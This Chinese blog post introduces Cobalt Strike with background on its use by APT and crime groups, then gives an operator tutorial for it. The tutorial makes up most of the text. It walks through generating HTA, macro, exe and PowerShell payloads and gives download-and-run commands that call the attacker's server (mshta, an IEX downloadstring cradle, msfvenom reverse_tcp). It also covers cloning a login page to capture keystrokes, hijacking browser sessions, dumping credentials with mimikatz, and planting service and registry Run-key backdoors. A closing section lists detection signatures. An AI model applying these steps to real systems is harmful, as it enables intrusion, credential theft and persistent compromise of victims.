一、Cobalt Strike 背景

Cobalt Strike 在威胁攻击者的恶意活动中的使用次数正在增加。从 2019 年到 2020 年,使用Cobalt Strike 的威胁攻击者增加了 161%,Cobalt Strike负载相关的钓鱼邮件数量仍逐年上升。

除了APT组织和间谍攻击者,目前Cobalt Strike 也被很多网络犯罪和恶意软件运营者使用。

当映射到 MITRE ATT&CK 框架时,Proofpoint公司的分析人员更关注,此工具在攻击链的初始访问、命令执行和持久驻留等阶段所起的作用。也就是说:威胁攻击者如何试图破坏主机以及他们首先部署哪些有效载荷?根据Proofpoint的数据评估,攻击者中越来越喜欢将Cobalt Strike作为初始访问有效载荷,而不仅仅是现访问后,作为第二阶段的远控工具使用。

2020 年 12 月,全世界都知道了一场广泛而有效的间谍活动,该活动成功地为流行的网络监控软件 SolarWinds 设置了后门程序。据调查人员透露,攻击者使用的工具包括 Cobalt Strike Beacon。这项备受瞩目的活动是智能攻击链的一部分,使高级威胁攻击者能够暗中破坏相对较少数量的受害者。根据他们的需求进行定制的工具已有近十年的历史,但近年来越来越受欢迎。

Cobalt Strike 于 2012 年首次亮相,以应对现有红队工具 Metasploit 框架中的漏洞。2015 年,Cobalt Strike 3.0 作为独立的对手仿真平台推出。到 2016 年,Proofpoint 研究人员攻击者中越来越喜欢将Cobalt Strike作为初始访问有效载荷,而不仅仅是现访问后,作为第二阶段的远控工具使用。

Cobalt Strike 被各种威胁攻击者使用,虽然网络犯罪分子和 APT 组织在其活动中利用类似的工具并不罕见,但 Cobalt Strike 的独特之处在于其内置功能使其能够快速部署和操作,无论攻击者的复杂程度或获得人力或财务资源的机会如何。当双方使用相同的工具时,模拟攻击者攻击和穿透防御的工作可能会变得更加简单。

Cobalt Strike 也是基于会话的——也就是说,如果威胁攻击者可以访问主机并在不需建立持久性的情况下完成操作,当计算机关机后,后门不会在受害者计算机留存,增加了攻击发现、溯源取证的难度。

威胁攻击者还可以利用 Cobalt Strike 的延展性来创建自定义构建,添加或删除功能以实现目标或逃避检测。例如,APT29 经常使用定制的 Cobalt Strike Beacon 加载器来融入合法流量或逃避分析。

二、APT组织

TA800

TA800是一个大型网络犯罪团伙,自2019年年中开始被Proofpoint跟踪。这个攻击者试图交付和安装银行恶意软件或恶意软件加载程序,包括The Trick和BazaLoader。2020年4月,TA800成为第一个被观察到分发BazaLoader的组织。在这些早期的活动中,威胁者分发带有指向可执行文件的恶意链接的电子邮件,或者带有指向可执行文件链接的谷歌Docs上的登陆页面。可执行文件下载了BazaLoader后门程序,然后该后门程序又下载了Cobalt Strike。2021年2月,该组织转向通过恶意url将Cobalt Strike作为第一阶段有效载荷分发。有一些证据表明 TA800 的 NimzaLoader 被用于下载和执行 Cobalt Strike 作为其辅助负载。

TA547

TA547 是 Proofpoint 自 2017 年 10 月以来追踪的威胁攻击者。该组织似乎主要向不同地理区域分发银行木马(包括 The Trick 和 ZLoader)。自 2020 年年中以来,该攻击者倾向于使用恶意的 Microsoft Office 附件来分发恶意软件。2021 年 2 月,TA547 开始分发 Cobalt Strike 作为第二阶段有效载荷,用于命令和控制。

APT攻击链条

Proofpoint已经观察到数十名使用Cobalt Strike的威胁者。然而,和它们的合法对手一样,威胁攻击者展示了许多恶意攻击者模拟软件的攻击路径和用例。威胁行动者使用不同的诱饵主题、威胁类型、投放器和有效载荷。例如,最早的Cobalt Strike活动使用恶意文档附件分发电子邮件威胁,以传播恶意软件,但直接在电子邮件正文中分发恶意url的活动已经取代附件,成为使用频率更高的威胁类型。

尽管直接作为初始有效载荷发送的Cobalt Strike的实例显著增加,但作为第二阶段有效载荷的部署仍然很受欢迎。Cobalt Strike被观察到与恶意软件如The Trick、BazaLoader、Ursnif、IcedID以及许多更流行的加载程序一起出现在各种攻击链中。在这些情况下,上述恶意软件通常会加载并执行Cobalt Strike。同样,在直接交付Cobalt Strike的情况下,也有很多技术被利用,比如通过武器化的Office文档、压缩可执行文件、PowerShell、动态数据交换(DDE)、HTA/HTML文件和流量分配系统中的恶意宏。

在执行 Cobalt Strike 并为 C2 通信建立 Beacon 后,观察到攻击者尝试枚举网络连接并转储 Active Directory 凭据,因为他们试图横向移动到域控制器等网络资源,从而允许部署勒索软件到所有联网系统。例如,Cobalt Strike 文档指出:

使用 net dclist 命令查找目标加入域的域控制器。使用 net view 命令在目标加入的域上查找目标。

除了网络发现和凭证转储之外,Cobalt Strike Beacon 还具有提权、加载和执行其他工具的能力,并将这些功能注入现有运行的主机进程中以试图避免检测。

根据内部数据观察到的活动,数以万计的APT组织已经成为 Cobalt Strike 的目标,预计这个数字会继续增加。

三、Cobalt Strike简介与安装

Cobalt Strike是一款以Metasploit为基础的GUI框架式渗透测试工具,自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,常被业界人称为CS神器。

Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。

Cobalt Strike 主要用于团队作战,可谓是团队渗透神器,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions。

Cobalt Strike 作为一款协同APT工具,分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透作为APT的控制终端功能,使其变成众多APT组织的首选。

一般Cobalt Strike目录结构如下:

agscript 拓展应用的脚本
c2lint 用于检查profile的错误异常
teamserver 服务端程序
cobaltstrike,cobaltstrike.jar客户端程序(java跨平台)license.pdf 许可证文件
logs 目录记录与目标主机的相关信息
update,update.jar用于更新CS
third-party 第三方工具

安装运行

Cobalt Strike 分为客户端和服务端,可分布式操作、协同作战。服务器端只能运行在Linux系统中,可搭建在VPS上。

服务端关键的文件是teamserver以及cobaltstrike.jar,将这两个文件放到服务器上同一个目录,然后运行即可。

团队服务器

团队服务器最好运行在Linux平台上,服务端的关键文件是teamserver和cobaltstrike.jar,将这两个文件放在同一目录下运行:

chmod +x teamserver
./teamserver IP 密码
# 服务端真实IP(不能使用0.0.0.0或127.0.0.1)和连接密码
./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
<host> 必需参数 团队服务器IP
<password> 必需参数 连接服务器的密码
[/path/to/c2.profile] 可选参数 指定C2通信配置文件,体现其强大的扩展性
[YYYY-MM-DD] 可选参数 所有payload的终止时间# 启动Team Server
./teamserver 192.168.183.147 123456 # 设置强密码,否则容易被爆破,参考附录

PS:团队服务器默认连接端口为50050,如果你想修改端口只需修改teamserver文件。

客户端

客户端在Windows、Linux、Mac下都可以运行 (需要配置好Java环境)。启动Cobalt Strike客户端,输入服务端的IP以及端口、连接密码,用户名可以任意设置。

这里windows需要java 8jdk,Linux需要10jdk、mac一样,这里可以网上找安装包,没有的找我。

Linux:

./cobaltstrike
Or
java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar

Windows:双击cobaltstrike.exe

输入服务端IP,端口默认50050,用户名任意,密码为之前设置的密码(123456),点击connect。第一次连接会出现hash校验,这里的hash等于前面的启动teamserver时的hash,直接点击‘是’即可连接到团队服务器上。

在控制台所有操作指令都会被记录保留在Cobalt Strike目录logs下…

四、Cobalt Strike参数与使用

Cobalt Strike

New Connection   # 新建连接,支持连接多个服务器端
Preferences   # 设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录
Visualization   # 主要展示输出结果的视图
VPN Interfaces   # 设置VPN接口
Listenrs   # 创建监听器
Script Manager   # 脚本管理,可以通过AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等
Close   # 退出连接

View

Applications   # 显示受害主机的应用信息
Credentials   # 显示所有以获取的受害主机的凭证,如hashdump、Mimikatz
Downloads   # 查看已下载文件
Event Log   # 主机上线记录以及团队协作聊天记录
Keystrokes   # 查看键盘记录结果
Proxy Pivots   # 查看代理模块
Screenshots   # 查看所有屏幕截图
Script Console   # 加载第三方脚本以增强功能
Targets   # 显示所有受害主机
Web Log    # 所有Web服务的日志

可以加载各种脚本,增强功能:

GitHub - rsmudge/cortana-scripts: A collection of Cortana scripts that you may use with Armitage and Cobalt Strike 2.x. Cortana Scripts are not compatible with Cobalt Strike 3.x. Cobalt Strike 3.x uses a variant of Cortana called Aggressor Script.

Attacks

Packages

HTML Application   # 生成(executable/VBA/powershell)这三种原理实现的恶意HTA木马文件
MS Office Macro   # 生成office宏病毒文件
Payload Generator   # 生成各种语言版本的payload
USB/CD AutoPlay   # 生成利用自动播放运行的木马文件
Windows Dropper   # 捆绑器能够对任意的正常文件进行捆绑(免杀效果差)
Windows Executable   # 生成可执行exe木马
Windows Executable(Stageless)   # 生成无状态的可执行exe木马

Web Drive-by

Manage   # 对开启的web服务进行管理
Clone Site   # 克隆网站,可以记录受害者提交的数据
Host File   # 提供文件下载,可以选择Mime类型
Scripted Web Delivery   # 为payload提供web服务以便下载和执行,类似于Metasploit的web_delivery
Signed Applet Attack   # 使用java自签名的程序进行钓鱼攻击(该方法已过时)
Smart Applet Attack   # 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本(该方法已过时)
System Profiler   # 用来获取系统信息,如系统版本,Flash版本,浏览器版本等
Spear Phish   # 鱼叉钓鱼邮件

Reporting

Activity Report   # 活动报告
Hosts Report   # 主机报告
Indicators of Compromise   # IOC报告:包括C2配置文件的流量分析、域名、IP和上传文件的MD5 hashes
Sessions Report   # 会话报告
Social Engineering Report   # 社会工程报告:包括鱼叉钓鱼邮件及点击记录
Tactics, Techniques, and Procedures   # 战术技术及相关程序报告:包括行动对应的每种战术的检测策略和缓解策略
Reset Data   # 重置数据
Export Data   # 导出数据,导出.tsv文件格式

Help

Homepage   # 官方主页
Support   # 技术支持
Arsenal   # 开发者
System information   # 版本信息
About   # 关于

工具栏

1.新建连接
2.断开当前连接
3.监听器
4.改变视图为Pivot Graph(视图列表)
5.改变视图为Session Table(会话列表)
6.改变视图为Target Table(目标列表)
7.显示所有以获取的受害主机的凭证
8.查看已下载文件
9.查看键盘记录结果
10.查看屏幕截图
11.生成无状态的可执行exe木马
12.使用java自签名的程序进行钓鱼攻击
13.生成office宏病毒文件
14.为payload提供web服务以便下载和执行
15.提供文件下载,可以选择Mime类型
16.管理Cobalt Strike上运行的web服务
17.帮助
18.关于

基本流程

创建监听器

点击Cobalt Strike -> Listeners->Add,其中内置了九个Listener:

indows/beacon_dns/reverse_dns_txtwindows/beacon_dns/reverse_http
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp

其中windows/beacon为内置监听器,有dns、http、https、smb四种方式的监听,windows/foreign为外部监听器,配合Metasploit或者Armitage的监听器。

Name任意,选择所需的payload,Host为本机IP,port为没有被占用的任意端口。

点击save即创建成功:

生成木马

这里选择其中一种攻击方式作示范,后面再做详细解释:
点击Attacks->Packages->HTML Application,选择对应的监听器,方法这里有三种(executable/VBA/powershell),选择powershell,点击Generate生成,选择生成的路径及文件名保存即可。

开启web服务

点击Attacks->Web Drive-by->Host File,选择刚刚生成的木马evil.hta,点击Launch生成下载链接

运行木马

打开被攻击机cmd,运行mshta命令。mshta.exe是微软Windows操作系统相关程序,用于执行.HTA文件。

mshta http://192.168.183.147/download/file.ext

返回CS即可看到肉鸡上线。

选中被攻击机右击,选择interact,即可进行交互,由于受害机默认60秒进行一次回传,为了实验效果我们这里把时间设置成5,但实际中频率不宜过快,容易被发现。

导出报告

点击Reporting->Activity Report,导出默认PDF文档。

Beacon

当受害机上线以后,右击选择Interact,就可以打开Beacon Console。

在beacon处输入help可以看到命令说明:

Beacon Commands
===============Command                   Description-------                   -----------argue                     进程参数欺骗blockdlls                 在子进程中阻止非Microsoft的DLLs文件browserpivot              注入受害者浏览器进程bypassuac                 绕过UACcancel                    取消正在进行的下载cd                        切换目录checkin                   强制让被控端回连一次clear                     清除beacon内部的任务队列connect                   通过TCP连接到Beaconcovertvpn                 部署Covert VPN客户端cp                        复制文件dcsync                    从DC中提取密码哈希desktop                   远程VNCdllinject                 反射DLL注入进程dllload                   使用LoadLibrary将DLL加载到进程中download                  下载文件downloads                 列出正在进行的文件下载drives                    列出目标盘符elevate                   尝试提权execute                   在目标上执行程序(无输出)execute-assembly          在目标上内存中执行本地.NET程序exit                      退出beacongetprivs                  对当前令牌启用系统权限getsystem                 尝试获取SYSTEM权限getuid                    获取用户IDhashdump                  转储密码哈希值help                      帮助inject                    在特定进程中生成会话jobkill                   杀死一个后台任务jobs                      列出后台任务kerberos_ccache_use       从ccache文件中导入票据应用于此会话kerberos_ticket_purge     清除当前会话的票据kerberos_ticket_use       从ticket文件中导入票据应用于此会话keylogger                 键盘记录kill                      结束进程link                      通过命名管道连接到Beaconlogonpasswords            使用mimikatz转储凭据和哈希值ls                        列出文件make_token                创建令牌以传递凭据mimikatz                  运行mimikatzmkdir                     创建一个目录mode dns                  使用DNS A作为通信通道(仅限DNS beacon)mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)mode http                 使用HTTP作为通信通道mv                        移动文件net                       net命令note                      给当前目标机器备注       portscan                  进行端口扫描powerpick                 通过Unmanaged PowerShell执行命令powershell                通过powershell.exe执行命令powershell-import         导入powershell脚本ppid                      为生成的post-ex任务设置父PIDps                        显示进程列表psexec                    使用服务在主机上生成会话psexec_psh                使用PowerShell在主机上生成会话psinject                  在特定进程中执行PowerShell命令pth                       使用Mimikatz进行传递哈希pwd                       当前目录位置reg                       查询注册表rev2self                  恢复原始令牌rm                        删除文件或文件夹rportfwd                  端口转发run                       在目标上执行程序(返回输出)runas                     以另一个用户权限执行程序runasadmin                在高权限下执行程序runu                      在另一个PID下执行程序screenshot                屏幕截图setenv                    设置环境变量shell                     cmd执行命令shinject                  将shellcode注入进程shspawn                   生成进程并将shellcode注入其中sleep                     设置睡眠延迟时间socks                     启动SOCKS4代理socks stop                停止SOCKS4spawn                     生成一个会话 spawnas                   以其他用户身份生成会话spawnto                   将可执行程序注入进程spawnu                    在另一个PID下生成会话ssh                       使用ssh连接远程主机ssh-key                   使用密钥连接远程主机steal_token               从进程中窃取令牌timestomp                 将一个文件时间戳应用到另一个文件unlink                    断开与Beacon的连接upload                    上传文件wdigest                   使用mimikatz转储明文凭据winrm                     使用WinRM在主机上生成会话wmi                       使用WMI在主机上生成会话

可用help+命令的方式查看具体命令参数说明:

beacon> help argue
Use: argue [command] [fake arguments]argue [command]argueSpoof [fake arguments] for [command] processes launched by Beacon.
This option does not affect runu/spawnu, runas/spawnas, or post-ex jobs.Use argue [command] to disable this feature for the specified command.Use argue by itself to list programs with defined spoofed arguments.

之前说过CS与受害机默认60s进行一次交互,为了方便实验我们可以把时间设置为0。

beacon>sleep 0

下面我就介绍一下几个常用的命令

browserpivot

Browser Pivot是一个针对IE浏览器的技术,利用的是IE的cookie机制,Cobalt Strike通过IE注入进程以继承用户的已验证Web会话,达到无需验证登录用户访问的网站。

假设受害者在通过IE浏览器登录了网站后台。

我们可以通过ps找到浏览器进程,然后通过命令进行注入:

beacon> browserpivot 2600 x86

这里之所以选择PID 2600是因为我们需要插入Internet Explorer以继承用户的已验证Web会话。IE的新版本会为每个选项卡生成一个进程,我们必须将其插入子选项卡以继承会话状态。通常,子选项卡共享所有会话状态。通过查看PPID值来标识IE子选项卡进程,当PPID引用explorer.exe时,该进程不是子选项卡;当PPID引用iexplore.exe时,该进程就是子选项卡。

当然这里也可以通过图形界面注入,右击选中Explore->Browser Pivot:

然后浏览器设置代理:

后访问受害者所访问的网页,发现无需登录直接进入后台。

Socks代理

开启socks4a代理,通过代理进行内网渗透。

开启socks,可以通过命令,也可以通过右键Pivoting->SOCKS Server:

beacon> socks 2222
[+] started SOCKS4a server on: 2222
[+] host called home, sent: 16 bytes

然后vim /etc/proxychains.conf ,在文件末尾添加socks4代理服务器:

使用proxychains代理扫描内网主机:

proxychains nmap -sP 192.168.183.0/24

我们还可以通过隧道将整个msf带进目标内网。

点击View->Proxy Pivots,选择Socks4a Proxy,点击Tunnel:

setg Proxies socks4:192.168.183.147:2222

打开msf对内网进行扫描:

关闭socks:

beacon>socks stop

powershell-import

这个功能在后渗透测试中很有用,可以导入各种powershell渗透框架,如Nishang、PowerSploit攻击框架。

在beacon shell输入powershell-import,导入已有的ps文件:

beacon> powershell-import

关于具体有哪些命令可以操作可以查看一下相应ps文件。

与Metasploit联动

Cobalt Strike → Metasploit

msf开启监听模式:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.183.147
set lport 4444
run -j

创建两个监听器,一个使用windows/beacon_http/reverse_http来监听肉鸡,另一个使用windows/foreign/reverse_http来将获取到的控制权传给msf(注意:这里的端口要与msf监听的端口一致)。

利用HTML Application来生成链接,使得目标设备上线,右击选择spwan,选择msf监听器,点击Choose。

返回msf查看,成功获取meterpreter会话(此方法获取到的会话并不稳定,具体原因未知)。

Metasploit→ Cobalt Strike

当然这里也可以通过用msfvenom生成木马,再由CS发布。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.183.147 lport=4444 -f exe -o msf.exe

此时再次查看msf发现获取到会话。

至于后面怎么提权可以参考meterpreter使用教程

钓鱼攻击

点击Attacks->Web Driver-by->Clone site,输入想要克隆的网址,这里需要勾选上Log keystrokes来记录输入:

然后在肉鸡上访问攻击机IP,访问克隆的网页:

当受害者输入了用户名密码,CS在日志里会有记录:

我们发现即使受害者输入正确的账号密码系统也会提示用户名密码错误,然后会自动跳转到正确的登录界面,事实上我们还可以实现主动跳转到任意界面。

为了防止没有主动跳转到正确的页面我们可以选择主动跳转到正确页面,点击 Attacks->Web Driver-by->System Profiler:

当我们访问192.168.183.147:81时会自动跳转到登录页面。在选择克隆站点时,点击attack右边的…选择我们创建端口为81的profiler:

当我们我们访问80端口点击确认后会跳转到正确的登录界面。

宏钓鱼

点击Attacks->Packages->MS Office Macro,选择相应的监听器,点击Generate:

上图告诉我们操作步骤,先打开Word或Excel,转到视图->宏->查看宏,创建一个宏名随意的宏,将复制的宏代码粘贴进去,关闭宏窗口,另存为启用宏的文档。

点击Copy Macro复制宏代码,选择 Project->Microsoft Word对象->ThisDocument粘贴宏代码,关闭并另存为。

当你打开启用宏的文档,CS便会接收到返回的会话。

shellcode

CS可以生成很多类型的shellcode,如c、c#、java、python、powershell、ruby、raw等
点击Attacks->package->paylaod generator。

这里以powershell为例:

将生成的payload.ps1复制到目标系统并执行以下命令,返回CS查看得到返回的会话。

powershell –exec bypass –Command "& {Import-Module 'C:\payload.ps1'}"

提权

elevate提权

Cobalt Strike内嵌了三个提权exp:ms14-058、uac-dll、uac-token-duplication
ms14-058是个老提权漏洞利用方式,可利用于Windows 7系统。

uac-dll和uac-token-duplication是Bypass UAC攻击,是由本地管理员运行payload从中等权限往最高权限提升的过程,适用于windows 7和windows 10。

我们可以通过导入cna文件来扩展漏洞库,项目地址为ElevateKit,点击Cobalt Strike->Script Manager来导入cna文件:

选中目标机器右击选择Access->Elevate,选择相应的漏洞即可提权。

权限维持

服务后门

点击Attacks->web driver-by ->script web delivery:

点击launch生成如下命令:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.183.148:80/a'))"

在目标设备执行以上命令会拿到普通用户的权限,这里需要提权。

打开beacon shell并执行命令:

查看受害机器服务,发现名为name的服务项创建成功。

不过此时该服务启动类型为手动,我们需要将其设置为自动:

shell sc config "name" start= auto

设置服务的描述字符串:

shell sc description "name" "description"

这样一个service后门就设置成功了,即使目标机器重启后依旧可以拿到控制权限。

注册表后门

点击Attacks->packages->windows executable生成一个exe木马并上传到目标机器。

上传可以通过Explore>File Browser:

当然这里也可以选择将exe设置为服务后门,方法同上:

shell sc create "exe" binpath= "C:\Users\abc\Desktop\artifact.exe"

下面我们来演示一下如何设置注册表后门:

shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "keyname" /t REG_SZ /d "C:\Users\abc\Desktop\artifact.exe" /f

这样一个注册表自启动后门已经设置成功了。

额外补充:

爆破cobalt strike密码脚本:

https://github.com/ryanohoro/csbruter

五、Cobalt Strike 模拟实战

简单的一次控制

环境:

kali:192.168.175.147
win7:192.168.175.145

开启个监听:

点击add创建即可:

选择生成后门-创建win.exe-payload:

创建好后:

选择一个钓鱼链接:

复制该链接到需要控制的靶机上下载即可:

下载好后,直接双击:

可看到已经成功获得对方的shell,成功控制对方电脑…

Access

Dump Hashes  #获取hash
Elevate         #提权
Golden Ticket   #生成黄金票据注入当前会话
Make token      #凭证转换
Run Mimikatz    #运行 Mimikatz
Spawn As        #用其他用户生成Cobalt Strike侦听器

Explore

Browser Pivot    #劫持目标浏览器进程
Desktop(VNC)    #桌面交互
File Browser    #文件浏览器
Net View        #命令Net View
Port Scan       #端口扫描
Process List    #进程列表
Screenshot      #截图

Pivoting

SOCKS Server     #代理服务
Listener        #反向端口转发
Deploy VPN      #部署VPN

Spawn

外部监听器(如指派给MSF,获取meterpreter权限)

Session

Note         #备注
Remove      #删除
Sleep       #指定被控端休眠时间,默认60秒一次回传,让被控端每10秒来下载一次任务。实际中频率不宜过快,容易被发现。
Exit        #退出

Interact(打开beacon)

beacon> helpBeacon Commands
===============Command                   Description
-------                   -----------
argue                     进程参数欺骗
blockdlls                 阻止子进程加载非Microsoft DLL
browserpivot              注入受害者浏览器进程
bypassuac                 绕过UAC提升权限
cancel                    取消正在进行的下载
cd                        切换目录
checkin                   强制让被控端回连一次
clear                     清除beacon内部的任务队列
connect                   Connect to a Beacon peer over TCP
covertvpn                 部署Covert VPN客户端
cp                        复制文件
dcsync                    从DC中提取密码哈希
desktop                   远程桌面(VNC)
dllinject                 反射DLL注入进程
dllload                   使用LoadLibrary将DLL加载到进程中
download                  下载文件
downloads                 列出正在进行的文件下载
drives                    列出目标盘符
elevate                   使用exp
execute                   在目标上执行程序(无输出)
execute-assembly          在目标上内存中执行本地.NET程序
exit                      终止beacon会话
getprivs                  Enable system privileges on current token
getsystem                 尝试获取SYSTEM权限
getuid                    获取用户ID
hashdump                  转储密码哈希值
help                      帮助
inject                    在注入进程生成会话
jobkill                   结束一个后台任务
jobs                      列出后台任务
kerberos_ccache_use       从ccache文件中导入票据应用于此会话
kerberos_ticket_purge     清除当前会话的票据
kerberos_ticket_use       Apply 从ticket文件中导入票据应用于此会话
keylogger                 键盘记录
kill                      结束进程
link                      Connect to a Beacon peer over a named pipe
logonpasswords            使用mimikatz转储凭据和哈希值
ls                        列出文件
make_token                创建令牌以传递凭据
mimikatz                  运行mimikatz
mkdir                     创建一个目录
mode dns                  使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)
mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http                 使用HTTP作为通信通道
mv                        移动文件
net                       net命令
note                      备注
portscan                  进行端口扫描
powerpick                 通过Unmanaged PowerShell执行命令
powershell                通过powershell.exe执行命令
powershell-import         导入powershell脚本
ppid                      Set parent PID for spawned post-ex jobs
ps                        显示进程列表
psexec                    Use a service to spawn a session on a host
psexec_psh                Use PowerShell to spawn a session on a host
psinject                  在特定进程中执行PowerShell命令
pth                       使用Mimikatz进行传递哈希
pwd                       当前目录位置
reg                       Query the registry
rev2self                  恢复原始令牌
rm                        删除文件或文件夹
rportfwd                  端口转发
run                       在目标上执行程序(返回输出)
runas                     以其他用户权限执行程序
runasadmin                在高权限下执行程序
runu                      Execute a program under another PID
screenshot                屏幕截图
setenv                    设置环境变量
shell                     执行cmd命令
shinject                  将shellcode注入进程
shspawn                   启动一个进程并将shellcode注入其中
sleep                     设置睡眠延迟时间
socks                     启动SOCKS4代理
socks stop                停止SOCKS4
spawn                     Spawn a session
spawnas                   Spawn a session as another user
spawnto                   Set executable to spawn processes into
spawnu                    Spawn a session under another PID
ssh                       使用ssh连接远程主机
ssh-key                   使用密钥连接远程主机
steal_token               从进程中窃取令牌
timestomp                 将一个文件的时间戳应用到另一个文件
unlink                    Disconnect from parent Beacon
upload                    上传文件
wdigest                   使用mimikatz转储明文凭据
winrm                     使用WinRM横向渗透
wmi                       使用WMI横向渗透

基础操作演示

右键目标interact来使用Beacon,用它来执行各种命令。在Cobalt Strike中,默认心跳为60s,执行命令的响应很慢,在下载文件时更加明显,所以根据实战环境把时间降低,建议不要太快,否则流量会相对明显。

在beacon中,如果想对目标进行命令管理,需要在前面加上shell,如shell whoami、shell ipconfig等。

六、Cobalt Strike 流量检测与防御

Proofpoint 数据显示 Cobalt Strike 是一种流行的工具,适用于从战略威胁到广泛的APT活动。

Cobalt Strike 对于合法的安全研究人员和威胁行为者来说都是一个有用的工具。它的延展性和可用性使其成为一个强大而有效的工具,用于窃取数据、横向移动和加载额外的恶意软件负载。

Cobalt Strike 并不是 Proofpoint 数据中出现频率较高的唯一红队工具。其他还包括 Mythic、Meterpreter 和 Veil 框架。

对于防御者来说,定制的 Cobalt Strike 模块通常需要独特的签名,因此威胁检测工程师可能需要检测 Cobalt Strike在野外的使用 。Cobalt Strike 也因其固有的模糊性而吸引了威胁行为者。如果所有人都使用相同的工具,归因会变得更加困难。如果一个组织有一个积极使用它的红队,则恶意流量可能会被误认为是合法的。该软件的易用性可以提高不太复杂的攻击者的能力。对于经验丰富的攻击者来说,既然已经有了一个很棒的工具,为什么还要把开发周期花在新东西上呢?

一个更广泛的趋势:威胁攻击者正在使用尽可能多的合法工具,包括执行 Windows 进程,如 PowerShell 和 WMI;将恶意代码注入合法的二进制文件中;并经常利用合法的云服务(例如 Dropbox、Google Drive、SendGrid 和 Constant Contact)来托管和分发恶意软件。

proofpoint 给出了一些Cobalt Strike 的流量检测规则:

2028591 ET TROJAN Cobalt Strike Malleable C2 Request YouTube Profile

2028589 ET TROJAN Cobalt Strike Malleable C2 Response O365 Profile M2

2032749 ET TROJAN Cobalt Strike Malleable C2 Amazon Profile

2032746 ET TROJAN Cobalt Strike Malleable C2 QiHoo Profile

2027082 ET TROJAN Observed Malicious SSL Cert CobaltStrike C2

2023629 ET INFO Suspicious Empty SSL Certificate - Observed in Cobalt Strike

2032362 ET TROJAN Cobalt Strike Beacon Activity

2032951 ET TROJAN Observed Cobalt Strike User-Agent

详情请参考 proofpoint 官网:

Cobalt Strike: Favorite Tool from APT to Crimeware | Proofpoint US

APT组织最喜欢的工具 Cobalt Strike (CS) 实战相关推荐

  1. DoS、DDoS工具Cobalt Strike

    Cobalt Strike 简介 Cobalt Strike是一款美国Red Team开发的渗透测试神器,常被业界人称为CS.最近这个工具大火,成为了渗透测试中不可缺少的利器.其拥有多种协议主机上线方 ...

  2. 内网渗透工具Cobalt Strike 基础使用

    Cobalt Strike:C/S架构的商业渗透软件,适合多人进行团队协作,可模拟APT做模拟对抗,进行内网渗透. Cobalt Strike一款GUI的框架式渗透工具,集成了端口转发.服务扫描,自动 ...

  3. 伊朗APT组织的网络间谍工具源代码和攻击者被泄露和曝光

    最近,有人发布了属于伊朗国家背景的APT攻击组织 APT34(oilrig,HelixKitten)的黑客工具. 这起事件让人想起了影子经纪人泄漏NSA的黑客工具. 自3月中旬以来,这些工具已被一个自 ...

  4. 告警流量分析:Cobalt Strike(默认实验文)

    文章目录 前言 从去除流量特征反推 分析流量包 200815084549005001_tmp.pcap - 无有用信息 200929112751005001_tmp.pcap - 无有用信息 流量包协 ...

  5. Cobalt Strike使用教程——基础篇

    本文主要介绍 Cobalt Strike 4.3 的基本功能及使用方法,具体分析和实战中使用放在另一篇讲解:Cobalt Strike使用方法--实战篇. 文章目录 一.基本介绍 (一) 目录结构 ( ...

  6. Cobalt Strike基本使用

    Cobalt Strike简介 Cobalt Strike是一款由java编写的全平台多方协同渗透测试框架,在3.0版本之前它基于Metasploit框架工作,在3.0后的版本以独立成一个渗透测试平台 ...

  7. 渗透工具-后渗透-权限维持-Cobalt strike

    Cobalt strike 渗透测试人员的先进威胁战术 英文名词翻译对照表 命令快查 Cobaltstrike简介 Cobaltstrike架构 信息收集模块System Profiler user- ...

  8. Cobalt Strike 4.0渗透攻击工具

    前言 前几天在做综合靶场的时候,有一个不太完整的vulntarget-a综合靶场,在这里我用了cs工具那么今天就给大家简单的说一下这个工具 1.工具简介 Cobalt Strike是一款以metasp ...

  9. cobaltstrike扩展_Malwarebytes:使用可变C2下发Cobalt Strike的APT攻击

    6月中旬,Malwarebytes Labs的研究人员发现了一个伪装成简历的恶意Word文档,该文档使用模板注入来删除.Net Loader.研究人员认为这是与APT攻击有关的多阶段攻击的第一部分.在 ...

最新文章

  1. 聊一聊Spring中的线程安全性
  2. mysql update 有中文_MySQL Update语句一个非常经典的“坑”
  3. Silverlight之添加全局样式
  4. Ubuntu 9.0 下之HBase 0.90.4 的安装和使用
  5. linux dns chroot,系统运维|在 CentOS7.0 上搭建 Chroot 的 Bind DNS 服务器
  6. Linux操作系统:12则经典运用技巧
  7. go WaitGroup的使用
  8. Alsa里面恶心的DAPM
  9. Dockerfile创建pytorch1.1.0+cuda10.0+cudnn7.5踩过的坑
  10. 进程的描述和进程的创建
  11. fatal error: caffe/proto/caffe.pb.h: No such file or directory
  12. PBXCp Error
  13. 函数 迭代器,生成器
  14. iommu intel-iommu实现
  15. 想成为时间管理大师?试试番茄工作法!
  16. 工程制图与计算机绘图知识点总结,工程制图与计算机绘图-西安电子科技大学.PDF...
  17. java+单子_单子设计模式
  18. 【文件类型转换】.mat后缀文件 转化为 .xml后缀文件
  19. C语言之数据的四种表现形式
  20. [渝粤教育] 中国矿业大学 货币金融学 参考 资料

热门文章

